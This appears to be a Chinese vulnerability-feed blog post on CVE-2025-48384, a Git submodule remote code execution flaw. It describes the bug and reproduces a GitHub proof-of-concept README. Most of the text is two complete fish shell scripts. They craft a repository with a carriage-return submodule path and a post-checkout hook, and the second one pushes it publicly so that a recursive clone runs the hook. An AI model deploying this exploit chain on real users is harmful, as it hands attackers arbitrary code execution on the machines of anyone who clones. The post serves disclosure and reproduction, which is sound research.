Git Submodule Remote Code Execution Vulnerability

漏洞信息

漏洞名称: Git Submodule Remote Code Execution Vulnerability

漏洞编号:

  • CVE: CVE-2025-48384

漏洞类型: 命令执行

漏洞等级: 高危

漏洞描述: Git是一个广泛使用的分布式版本控制系统,用于跟踪源代码的变化。它被开发者和企业广泛用于软件开发中,支持多人协作开发。此次漏洞涉及Git的submodule功能,该功能允许用户在一个Git仓库中嵌入另一个Git仓库。

漏洞的技术根源在于Git在处理submodule时,对输入验证不充分,特别是在处理包含特殊字符(如回车符)的路径时。攻击者可以通过构造恶意的Git仓库,利用submodule的post-checkout钩子在受害者执行git clone --recursive时执行任意命令。这本质上是一个命令注入漏洞,由于Git在处理submodule路径时未能正确过滤特殊字符,导致攻击者可以注入恶意命令。

此漏洞的影响极为严重,因为它允许攻击者在受害者的系统上执行任意命令,无需任何用户交互或认证。这意味着攻击者可以完全控制受影响的系统,进行数据泄露、服务中断或其他恶意活动。由于Git的广泛使用,此漏洞的潜在影响范围非常广,尤其是在自动化构建和部署环境中,攻击者可以利用此漏洞自动传播恶意代码。

产品厂商: Git

产品名称: Git

影响版本: 2.50.0

来源: https://github.com/Alex0Young/CVE-2025-48384-1

类型: CVE-2025:github search

仓库文件

  • .gitmodules
  • Dockerfile
  • README.md
  • sub

来源概述

CVE-2025-48384: Breaking git with a carriage return and cloning RCE

Reproduction from https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. All credits to David Leadbeater.

This is a basic reproduction attempt of the vulnerability.

To trigger, do git clone --recursive https://github.com/acheong08/CVE-2025-48384 on a vulnerable git version and you’ll find a /tmp/fishsucks file suddenly appearing.

I was able to reproduce on git version 2.50.0.

Below is the script used to test locally.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/fish
git init sub
echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook

git init repo
git -C repo -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"
rm -rf ./repo ./sub ./bad-clone

Modified script for pushing to Github:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/fish
if not test -d sub
git clone https://github.com/acheong08/totallynotsuspicious.git sub
else
git -C sub pull
end

echo '#!/usr/bin/env bash
touch /tmp/fishsucks
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook; or true
git -C sub push origin HEAD

rm -rf repo
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/acheong08/totallynotsuspicious.git sub
git -C repo mv sub (printf "sub\r")

git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules

git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config

ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule

git -c protocol.file.allow=always clone --recurse-submodules repo bad-clone
not test -f "/tmp/fishsucks"

Git Submodule Remote Code Execution Vulnerability
http://example.com/2025/07/10/github_151154106/
作者
lianccc
发布于
2025年7月10日
许可协议